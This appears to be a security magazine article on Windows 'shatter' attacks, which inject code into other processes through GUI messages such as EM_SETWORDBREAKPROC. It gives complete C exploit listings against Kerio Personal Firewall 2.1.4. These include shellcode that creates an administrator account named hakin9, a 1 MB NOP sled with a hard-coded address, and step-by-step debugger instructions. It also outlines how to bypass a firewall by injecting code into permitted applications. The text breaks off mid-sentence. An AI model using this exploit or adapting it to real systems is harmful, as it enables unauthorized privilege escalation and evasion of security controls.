|
Code injection using Windows GUI messages
Code injection using Windows GUI messagesKrzysztof Wilkos Few could suspect that an innocuous GUI feature such as Windows messages could pose a danger to system security. However, this seemingly innocent mechanism can be used to inject malicious code into another application and escalate an intruder’s privileges. GUI control and user interaction in Windows is based on events, which represent all supported user actions as well as calls sent between the various components. Event data is exchanged using messages – each event has its corresponding messages and application windows can identify messages and react to them. A message can therefore contain information about a mouse click or key press, but can also a window refresh request. The whole framework works and does the job it was designed for. Unfortunately, the mechanism was created in times when computer security was not a serious consideration, which can have grave consequences for Windows users today. The two crucial flaws are:
When a window receives a message, it has no way identifying the message sender – the messaging API simply provides no such functionality. In practice, this means that a system message is treated on par with a message from an application with the lowest possible privileges. While this is not a problem for a key press message, it becomes much more serious for messages that change application behaviour, for example by modifying its data or function addresses. We will see what opportunities this opens up for intruders, but first let’s have a look at some messaging basics. How messages are sentMessages can be sent by calling SendMessage(). Listing 1 shows the function prototype. The first argument is a handle to the window that will receive the message, while the second argument specifies the message type and therefore determines actual function behaviour. The last two parameters can be used to pass extra information, depending on the message type. The function return value also depends on the message type. Table 1 summarises the message types that will be useful for the purpose of this article. Listing 1. SendMessage() prototype
LRESULT SendMessage( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam ); Table 1. Selected message types
Window handleTo send a message, we also need to know the handle for the target window. For the purpose of this article, we will use two functions to obtain the required handle. The first is FindWindow() – Listing 2 presents its prototype. Listing 2. FindWindow() prototype
HWND FindWindow( LPCTSTR lpClassName, LPCTSTR lpWindowName ); The function goes through all active application windows and returns a handle to the window specified by its parameters – a pointer to the window class name and a pointer to the window title. If NULL is specified as one of the arguments, then only the other argument is used to locate the window. The FindWindow() function is complemented by FindWindowEx(), shown in Listing 3. Listing 3. FindWindowEx() prototype
HWND FindWindowEx( HWND hwndParent, HWND hwndChildAfter, LPCTSTR lpszClass, LPCTSTR lpszWindow ); The function is very similar to FindWindow(), but also allows a handle to a child window to be retrieved, effectively providing access to all GUI controls. The window layout for an application is hierarchical – the top-level window contains child windows, which in turn can contain more children and so on. The first argument passed to FindWindowEx() specifies the parent window whose children should be searched for the required window. The second argument is useful if the function has already returned a handle, but you want to go continue the search – if NULL is passed, the function searches from the beginning, otherwise it will resume searching from the window following the one specified by the handle. The last two arguments are the same as for FindWindow(). Simple exampleNow we know what functions we need, it’s time to use them. We’ll start with a simple example to illustrate the use of messaging. We will use the WM_PASTE message, which (unsurprisingly) pastes the current clipboard contents. We also need an application to display the data we supply – Notepad is a good choice due to its simplicity. Notepad only contains three windows, of which we will use the top-level window (class name Notepad) and the Edit control. Window information can easily be retrieved using the OllyDbg debugger – just select Windows from the View menu. Now we know the class names and the window nesting structure, we can write our sample messaging application (Listing 4). Listing 4. Messaging example
#include <windows.h> #include <stdio.h> int main() { HANDLE ParentWnd, ChildWnd; ParentWnd = FindWindow("Notepad", NULL); if(ParentWnd == NULL) { printf("You have to run Notepad first!n"); system("PAUSE"); return 1; } ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL); if(ChildWnd == NULL) { printf("Couldn't find Edit control!n"); system("PAUSE"); return 1; } SendMessage(ChildWnd, WM_PASTE, 0, 0); printf("Message sent!n"); system("PAUSE"); } As you can see, the code is quite simple. We start by importing the required headers and declaring some variables. We then call FindWindow(), passing the class name for the top-level window as the first argument. The second argument is NULL, as its value depends on the current file and the system language version. If the function fails to locate the specified window, a suitable message is displayed. We then call FindWindowEx() with a similar check, passing it the window handle as the first argument. The second argument is NULL (because we’re searching from the beginning), and is followed by the name of the target control for the message and then NULL for the final argument (the Edit control has no title). We now have a handle to the Edit control, so we are ready to send a message by calling SendMessage() and passing it the control handle, the message type and two zeros (because the paste message requires no extra parameters). Note that the calls to system("PAUSE") are there just for convenience, to make our command-line program wait before terminating. Of course, for the application to actually paste something into Notepad, the clipboard must contain some data in the first place. The EM_SETWORDBREAKPROC messageNow we’ve covered the basics, it’s time to get to the heart of the matter. As already mentioned, one of the vulnerabilities of the Windows messaging framework is that some messages can take function pointers as additional parameters. EM_SETWORDBREAKPROC is one such message, allowing the programmer to specify a replacement for the default word break function for an Edit or RichEdit control. However, the modification can actually be made by any application, not just the one it affects, and this is the vulnerability we will exploit. As seen in Table 1, lParam is supposed to be the address of the replacement function. The address has to be valid within the control’s parent process, so in order to execute some code we need to make it accessible to the application. Fortunately, inserting data into process memory is actually quite easy – we can simply insert the code into the Edit field and then use a debugger to determine its memory address. Finding a vulnerable applicationThe attack we are about to conduct allows arbitrary code to be executed by any application that contains an Edit control, which basically means the majority of modern applications. However, the attack requires an application to be executed locally anyway, so it is only useful if conducted against applications that execute with special privileges (so we can escalate our own privileges). A typical target would be an application running with system privileges, for example a virus scanner or personal firewall, which the intruder can then use to execute code with system privileges. User applications that are allowed through the firewall are another attractive target – once compromised, they can be used to bypass the firewall and therefore gain access to the Internet or another protected network. Escalating system privilegesNow let’s assume we have user-level access to a Windows box, but want to gain administrator privileges. The system is also running Kerio Personal Firewall, which (as we will soon discover) can be exploited for escalation – you can check if the target application has administrator privileges by running a process manager that displays the users for particular processes. If you have Windows XP or later, you can use the Task Manager, but for older systems the Task Manager will not be enough (no user names), so you’ll need to find another utility. Now double-click the Kerio firewall icon in the system tray. The main program window comes up, but it doesn’t have the Edit control we’re looking for. Choose Connect from the File menu and bingo – a window comes up containing several Edit controls, in this case used for entering connection parameters.
Figure 1. Process Explorer with the firewall process selected Figure 1 presents a screenshot of Process Explorer. The process that owns the window with the Edit controls is highlighted – as you can see, it is running as a system service. To make doubly sure that you have the right window, you can right-click it and select Bring to Front. Now run the debugger and attach it to the window process. You will see several Kerio Personal Firewall processes, so to choose the right one you will need to check the window title or compare the value in the Process Explorer’s PID column with that in OllyDbg’s Process column. Figure 2 presents the OllyDbg window with the correct process highlighted. Note that the process ID is displayed as a hexadecimal value in OllyDbg and as a decimal value in Process Explorer. If you have problems converting these values, you can use the Windows calculator in scientific mode.
Figure 2. Debugger window with a list of active processes Once OllyDbg is attached to the right process, let’s have a look at the window hierarchy, just as we did for Notepad. As you can see in Figure 3, the top-level window is called Kerio Personal Firewall, its class is #32770 and the two Edit controls are located directly within it.
Figure 3. Window hierarchy within the target application To actually exploit the vulnerability, we need a shellcode that will be supplied as the new word break function and will be executed by the target process. You can use any shellcode valid for the target platform. The Inset Generating a shellcode using Metasploit Framework describes how to generate a Windows shellcode that adds a new system administrator, which we will then inject via the exploit. Note that all instructions are for an English-language version of Windows.
Figure 4. Generating a shellcode using the Metasploit Framework Generating a shellcode using Metasploit FrameworkWriting a shellcode is of course interesting in its own right, but can be tedious if you need to do it more than once. Fortunately, tools exist that allow the task to be automated. Articles on several such utilities have appeared in previous issues of hakin9, including the InlineEgg library and the Metasploit Framework – for the purpose of this article, we will use the latter. The framework not only supports the creation, testing and use of exploits, but also comes with a large collection of customisable shellcodes and allows new shellcodes to be generated. The tool can be accessed through any Web browser and its basic features are available directly from its website, without local installation. If you open the URL http://metasploit.com:55555/PAYLOADS?FILTER=win32 in your Web browser, you will see a list of available shellcodes for Windows. We need a shellcode that adds a new user with administrator privileges, so we will use the shellcode Windows Execute Command to execute a command to add the new user. The command will be cmd.exe /c net user USERNAME PASSWORD /add && net localgroup administrators /add USERNAME, where USERNAME and PASSWORD are the account name and password, respectively. Note that if you’re using a different language version of Windows than the English one, you should replace administrators with the name of the administrators group for your system version. Support for various language versions is the reason we’re not using a ready shellcode, as that contains the hard-coded English name. So, to create a shellcode that adds an administrator with the username and password hakin9, open http://metasploit.com:55555/PAYLOADS?FILTER=win32 in your browser and click the Windows Command Execute shellcode. In the next screen, enter cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 in the CMD field and process in the EXITFUNC field. Leave default values for the other fields. Figure 4 shows the form as it should be filled in. Finally, click Generate Payload to get the final shellcode – Listing 5 presents the shellcode for the English version of Windows.
Listing 5. Shellcode to add a new administrator
/* win32_exec - EXITFUNC=process CMD=cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 Size=240 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "x29xc9x83xe9xcaxd9xeexd9x74x24xf4x5bx81x73x13x27" "xcax2ax8cx83xebxfcxe2xf4xdbx22x6ex8cx27xcaxa1xc9" "x1bx41x56x89x5fxcbxc5x07x68xd2xa1xd3x07xcbxc1xc5" "xacxfexa1x8dxc9xfbxeax15x8bx4exeaxf8x20x0bxe0x81" "x26x08xc1x78x1cx9ex0ex88x52x2fxa1xd3x03xcbxc1xea" "xacxc6x61x07x78xd6x2bx67xacxd6xa1x8dxccx43x76xa8" "x23x09x1bx4cx43x41x6axbcxa2x0ax52x80xacx8ax26x07" "x57xd6x87x07x4fxc2xc1x85xacx4ax9ax8cx27xcaxa1xe4" "x1bx95x1bx7ax47x9cxa3x74xa4x0ax51xdcx4fxb4xf2x6e" "x54xa2xb2x72xadxc4x7dx73xc0xa9x47xe8x09xafx52xe9" "x07xe5x49xacx49xafx5exacx52xb9x4fxfex07xa2x4bxe7" "x4exa4x13xacx4fxabx41xe5x49xf3x0axa3x46xaex4exac" "x01xecx0axe2x42xbex0axe0x48xa9x4bxe0x40xb8x45xf9" "x57xeax4bxe8x4axa3x44xe5x54xbex58xedx53xa5x58xff" "x07xe5x4bxe8x43xeax42xedx4cxa3x44xb5x27xcax2ax8c"; With all the preparations out of the way, it’s time to write the actual exploit code. As in the Notepad example, we will start by retrieving the control handle using FindWindow(), FindWindowsEx() and debugger information. Once we have the target window handle, we will be able to inject our shellcode into the control using the WM_SETTEXT message. Before we do that, we need to make sure that the size limit on the edit field contents is large enough to hold the shellcode – to be sure, we can set a sufficient size using the EM_SETLIMITTEXT message. If the target control is read-only, we need to make it writeable by sending the EM_SETREADONLY message with the wParam parameter set to FALSE. Once everything is set up, we can send the WM_SETTEXT message with a pointer to the shellcode string. However, at this stage we have no way of knowing where in memory the shellcode will be placed, so we need to put some characteristic string (such as hakin9) at the beginning of the shellcode to allow it to be easily located in memory. The details of locating the shellcode are described in the Inset Locating the shellcode in memory. Once our exploit has sent the WM_SETTEXT message, it will wait for us to enter the shellcode address determined using a debugger, and once that’s been provided it will replace the default word break function pointer with the supplied address. To top it all off, we will send a WM_LBUTTONDBLCLK message, which normally causes the default word break function to execute, but will now execute the supplied shellcode. If all went well, the system should now contain a new administrator account with the specified credentials. Listing 6 presents the exploit code. Listing 6. Initial version of the exploit
#include <windows.h> #include <stdio.h> /* win32_exec - EXITFUNC=process CMD=cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 Size=240 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "hakin9x29xc9x83xe9xcaxd9xeexd9x74x24xf4x5bx81x73x13x27" "xcax2ax8cx83xebxfcxe2xf4xdbx22x6ex8cx27xcaxa1xc9" "x1bx41x56x89x5fxcbxc5x07x68xd2xa1xd3x07xcbxc1xc5" "xacxfexa1x8dxc9xfbxeax15x8bx4exeaxf8x20x0bxe0x81" "x26x08xc1x78x1cx9ex0ex88x52x2fxa1xd3x03xcbxc1xea" "xacxc6x61x07x78xd6x2bx67xacxd6xa1x8dxccx43x76xa8" "x23x09x1bx4cx43x41x6axbcxa2x0ax52x80xacx8ax26x07" "x57xd6x87x07x4fxc2xc1x85xacx4ax9ax8cx27xcaxa1xe4" "x1bx95x1bx7ax47x9cxa3x74xa4x0ax51xdcx4fxb4xf2x6e" "x54xa2xb2x72xadxc4x7dx73xc0xa9x47xe8x09xafx52xe9" "x07xe5x49xacx49xafx5exacx52xb9x4fxfex07xa2x4bxe7" "x4exa4x13xacx4fxabx41xe5x49xf3x0axa3x46xaex4exac" "x01xecx0axe2x42xbex0axe0x48xa9x4bxe0x40xb8x45xf9" "x57xeax4bxe8x4axa3x44xe5x54xbex58xedx53xa5x58xff" "x07xe5x4bxe8x43xeax42xedx4cxa3x44xb5x27xcax2ax8c"; int main() { HANDLE ParentWnd, ChildWnd; LONG scaddr; ParentWnd = FindWindow("#32770", "Kerio Personal Firewall"); if(ParentWnd == NULL) { printf("Couldn't find top-level window!n"); system("PAUSE"); return 1; } ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL); if(ChildWnd == NULL) { printf("Couldn't find Edit control!n"); system("PAUSE"); return 1; } if(SendMessage(ChildWnd, EM_SETREADONLY, FALSE, 0)==0) { printf("Sending WM_SETREADONLY message failed!n"); system("PAUSE"); return 1; } SendMessage(ChildWnd, EM_SETLIMITTEXT, sizeof(scode), 0); if(!SendMessage(ChildWnd, WM_SETTEXT, 0, (LPARAM)scode)) { printf("Sending WM_SETTEXT message failed!n"); system("PAUSE"); return 1; } printf("Write shellcode address from debbugger (ex. 0x0014E360):n"); scanf("%x", &scaddr); SendMessage(ChildWnd, EM_SETWORDBREAKPROC, 0L, scaddr); SendMessage(ChildWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a ); } Locating the shellcode in memoryOllyDbg provides a very convenient way of searching process memory. Right-click the memory map panel and select Search from the popup menu. In the search box, you can enter a search string in ASCII, Unicode or hexadecimal. If you recall, to make the shellcode easier to locate we placed the string hakin9 at the beginning, so now you can simply enter this string in the ASCII field and click OK. If the shellcode is indeed present in memory, you should now see the memory address of the search string in the top left corner of the memory map panel. To get the address of the actual shellcode, we need to add the length of the string hakin9 to the resulting address. Figures 5 and 6 present the required actions.
Figure 5. Locating the shellcode
Figure 6. Reading the address of the search string Although we can use the debugger to find the shellcode address, at this point the exploit is still useless, because the address will be different each time the exploit is run and we cannot debug the target process without administrator privileges. Fortunately, it’s not a serious problem – as with buffer overflow attacks, we can use a block of NOP instructions. However, in this case our task is much easier, because we are not limited by the buffer size – we can set it to whatever value we need using the EM_SETLIMITTEXT message. Although allocating excessive memory is hardly good programming practice, we are after all writing an exploit, not a user application, so instead of wasting time and space on calculating the required amount of memory, we will allocate a 1 MB block of NOPs – enough to ensure correct execution, but relatively little in terms of modern software. Run the exploit again, locate an address roughly in the middle of the NOP block and hard-code that address into the exploit code to get a real working exploit. Listing 7 presents the code. Listing 7. Exploit against Kerio PFW 2.1.4 to add an administrator account
#include <windows.h> #include <stdio.h> #include <string.h> /* win32_exec - EXITFUNC=process CMD=cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 Size=240 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "x29xc9x83xe9xcaxd9xeexd9x74x24xf4x5bx81x73x13x27" "xcax2ax8cx83xebxfcxe2xf4xdbx22x6ex8cx27xcaxa1xc9" "x1bx41x56x89x5fxcbxc5x07x68xd2xa1xd3x07xcbxc1xc5" "xacxfexa1x8dxc9xfbxeax15x8bx4exeaxf8x20x0bxe0x81" "x26x08xc1x78x1cx9ex0ex88x52x2fxa1xd3x03xcbxc1xea" "xacxc6x61x07x78xd6x2bx67xacxd6xa1x8dxccx43x76xa8" "x23x09x1bx4cx43x41x6axbcxa2x0ax52x80xacx8ax26x07" "x57xd6x87x07x4fxc2xc1x85xacx4ax9ax8cx27xcaxa1xe4" "x1bx95x1bx7ax47x9cxa3x74xa4x0ax51xdcx4fxb4xf2x6e" "x54xa2xb2x72xadxc4x7dx73xc0xa9x47xe8x09xafx52xe9" "x07xe5x49xacx49xafx5exacx52xb9x4fxfex07xa2x4bxe7" "x4exa4x13xacx4fxabx41xe5x49xf3x0axa3x46xaex4exac" "x01xecx0axe2x42xbex0axe0x48xa9x4bxe0x40xb8x45xf9" "x57xeax4bxe8x4axa3x44xe5x54xbex58xedx53xa5x58xff" "x07xe5x4bxe8x43xeax42xedx4cxa3x44xb5x27xcax2ax8c"; int main() { HANDLE ParentWnd, ChildWnd; LONG scaddr; char *buf; ParentWnd = FindWindow("#32770", "Kerio Personal Firewall"); if(ParentWnd == NULL) { printf("Couldn't find top-level window!n"); system("PAUSE"); return 1; } ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL); if(ChildWnd == NULL) { printf("Couldn't find Edit control!n"); system("PAUSE"); return 1; } if(SendMessage(ChildWnd, EM_SETREADONLY, FALSE, 0)==0) { printf("Sending WM_SETREADONLY message failed!n"); system("PAUSE"); return 1; } buf = malloc(strlen(scode)+1024*1024+1); buf = memset(buf, 0x90, 1024*1024); strcat(buf, scode); buf[strlen(buf)] = 0; SendMessage(ChildWnd, EM_SETLIMITTEXT, strlen(scode)+1024*1024+1, 0); if(!SendMessage(ChildWnd, WM_SETTEXT, 0, (LPARAM)buf)) { printf("Sending WM_SETTEXT message failed!n"); system("PAUSE"); return 1; } SendMessage(ChildWnd, EM_SETWORDBREAKPROC, 0L, 0x00B45000); SendMessage(ChildWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a ); }
Figure 7. User list after executing the exploit Newer versions of user applications that require extended privileges will often be resistant to privilege escalation, even though they remain vulnerable to the exploit itself. For security reasons, developers commonly divide such applications into several processes to separate the vulnerable user-accessible components from components running with system privileges. The exploit is only effective against processes that run with current user privileges and communicate with higher-privileged processes, so the exploit is effectively useless. What this means from a practical point of view is that if you have a GUI-enabled application that runs with system privileges, you’d be well advised to change it to one that separates the GUI process from the service process. Although this does not protect from the flaw being exploited, it does prevent attackers from achieving any useful results. Bypassing a personal firewallA more practical approach is to use the vulnerability against a user application that a firewall allows to access a protected network. Injecting code into the application would effectively give us network access, since from the firewall’s point of view the malicious code will be part of the legal process. The basic idea is similar to other methods of bypassing firewalls through code injection, for example attacks that use a call to CreateRemoteThread(). The DLL injection attack was described in a previous issue of hakin9. A target application should have a firewall rule defined and should be vulnerable to exploits using the EM_SETWORDBREAKPROC message or similar. The attack is made more difficult because it has to be fully automated to allow it to be executed remotely. In the previous example, we assumed that the attacker had physical access to the victim’s machine, so he could open the required window and run the exploit. Of course, when working remotely, we must not alarm the user by popping up an unexpected window or causing an application to behave suspiciously. I will not provide examples for this type of attack, since the code injection is basically the same as already described, and the attack requires a number of additional preparations that are far beyond the scope of this article. If you just want to check if the attack is indeed workable, you can modify the previous example by adapting it to the window hierarchy of a chosen application and changing the shellcode to one that provides network access. Other code injection methodsAs already mentioned, other code injection methods also exist, for example ones that use the CreateRemoteThread() function. However, what all the techniques have in common is that instead of exploiting flaws in application code, they exploit design errors made by Windows developers – errors that render all applications written without special precautions vulnerable to attack. One argument in favour of using exploits based on CreateRemoteThread() is that a DLL is much easier to create than a shellcode, and is far more universal. Executing DLL code requires no special preparation and the same code can be re-used against other applications, whereas a message-based attack is application-specific. What’s more, message-based exploits only work on GUI applications that contain vulnerable controls (though not necessarily just the ones described in this article). The advantage of message-based attacks is that they don’t require outlandish functions, but only SendMessage(), which is used in every single GUI application for Windows and is present i |
|









